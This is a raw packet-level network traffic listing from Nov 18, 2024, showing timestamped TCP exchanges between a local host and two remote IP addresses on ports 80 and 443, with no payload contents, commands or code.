Nov 18, 2024 13:29:34.936105013 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.936155081 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.936166048 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.936178923 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.936191082 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.936209917 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.936244011 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.936259985 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.936271906 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.936285019 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.936285973 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.936300039 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.936319113 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.936553955 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.936567068 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.936579943 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.936589003 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.936604023 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.936606884 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.936618090 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.936630011 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.936630964 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.936642885 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.936650038 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.936662912 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.936671972 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.936676025 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.936698914 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.936707973 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.937705994 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.937719107 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.937731981 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.937760115 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.937783003 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.937841892 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.937854052 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.937868118 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.937884092 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.937906027 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.937908888 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.937931061 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.937953949 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.937968969 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.938016891 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.938039064 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.938051939 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.938074112 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.938098907 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.938200951 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.938214064 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.938224077 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.938236952 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.938245058 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.938262939 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.938287020 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.938354969 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.938368082 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.938380003 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.938391924 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.938397884 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.938405991 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.938417912 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.938451052 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.938545942 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.938561916 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.938572884 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.938584089 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.938586950 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.938596964 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.938611984 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.938637018 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.938657999 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.938688993 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.938693047 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.938724995 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.938747883 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.938785076 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.938815117 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.938827038 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.938838959 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.938851118 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.938863993 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.938863993 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.938889027 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.938899040 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.977454901 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.977521896 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.977535009 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.977543116 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.977562904 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.977583885 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.977586985 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.977596045 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.977607965 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.977642059 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.019141912 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.019162893 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.019176960 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.019191027 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.019221067 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.019249916 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.049683094 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.049707890 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.049751043 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.049807072 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.049819946 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.049855947 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.049858093 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.049870014 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.049882889 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.049906015 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.049932957 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.049989939 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.050002098 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.050014973 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.050029993 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.050055027 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.050400972 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.050489902 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.050591946 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.050604105 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.050637960 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.051218033 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.051232100 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.051250935 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.051274061 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.051330090 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.051632881 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.051645041 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.051651955 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.051656961 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.051665068 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.051740885 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.051764965 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.051780939 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.051788092 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.051796913 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.051801920 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.051808119 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.051812887 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.051819086 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.051824093 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.051829100 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.051834106 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.051840067 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.051850080 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.051856041 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.051860094 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.051867962 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.051873922 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.051881075 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.051903009 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.052067041 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.052432060 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.052473068 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.052478075 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.052552938 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.052557945 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.052563906 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.052609921 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.052670002 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.052675009 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.052680969 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.052758932 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.052810907 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.052820921 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.052824020 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.052886963 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.052972078 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.053015947 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.053020954 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.053107023 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.053113937 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.053180933 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.053205013 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.053215027 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.053222895 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.053391933 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.053399086 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.053404093 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.053411007 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.053416014 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.053421974 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.053426981 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.053613901 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.053632021 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.053642035 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.053647995 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.053653002 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.053659916 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.053664923 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.053670883 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.053678036 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.053817987 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.053905964 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.053960085 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.053971052 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.053977013 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.053982973 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.053988934 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.054105043 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.054194927 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.054207087 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.054214001 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.054225922 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.054231882 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.054236889 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.054238081 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.054243088 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.054439068 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.054459095 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.054471970 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.054476976 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.054483891 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.054660082 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.054683924 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.054697037 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.054708958 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.054722071 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.054725885 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.054733992 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.054745913 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.054757118 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.054758072 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.054790974 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.054811001 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.054935932 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.054946899 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.055131912 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.055695057 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.055731058 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.055742025 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.055768967 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.055769920 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.055782080 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.055794954 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.055802107 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.055830002 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.055855989 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.055890083 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.055912018 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.055922985 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.055958986 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.056180000 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.056220055 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.056224108 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.056236029 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.056255102 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.056273937 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.056328058 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.056339979 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.056351900 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.056363106 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.056374073 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.056396008 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.056430101 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.056442022 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.056456089 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.056468010 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.056492090 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.056539059 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.056552887 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.056572914 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.056586981 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.056607008 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.056677103 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.056689024 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.056699991 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.056714058 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.056725979 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.056726933 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.056760073 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.056813002 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.056823015 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.056842089 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.056854010 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.056854010 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.056865931 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.056876898 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.056885004 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.056891918 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.056911945 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.056927919 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.057041883 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.057054043 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.057065964 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.057076931 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.057077885 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.057090044 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.057100058 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.057127953 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.072251081 CET	443	49823	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:35.072681904 CET	49823	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:35.072702885 CET	443	49823	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:35.073080063 CET	443	49823	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:35.073847055 CET	49823	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:35.073936939 CET	443	49823	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:35.074032068 CET	49823	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:35.074105978 CET	49823	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:35.074129105 CET	443	49823	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:35.078550100 CET	443	49822	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:35.078864098 CET	49822	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:35.078890085 CET	443	49822	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:35.080003977 CET	443	49822	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:35.080157042 CET	49822	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:35.080585003 CET	49822	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:35.080651045 CET	443	49822	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:35.080735922 CET	49822	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:35.080760956 CET	49822	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:35.080800056 CET	443	49822	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:35.095695019 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.095710039 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.095741987 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.095756054 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.095762014 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.095856905 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.095864058 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.095870018 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.095877886 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.095927000 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.095943928 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.096062899 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.123272896 CET	49823	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:35.123279095 CET	49822	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:35.123308897 CET	443	49822	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:35.139530897 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.139548063 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.139554977 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.139561892 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.139643908 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.167979002 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.168014050 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.168020964 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.168112993 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.168127060 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.168195963 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.168203115 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.168210983 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.168229103 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.168251991 CET	49746	80	192.168.2.8	185.215.113.206
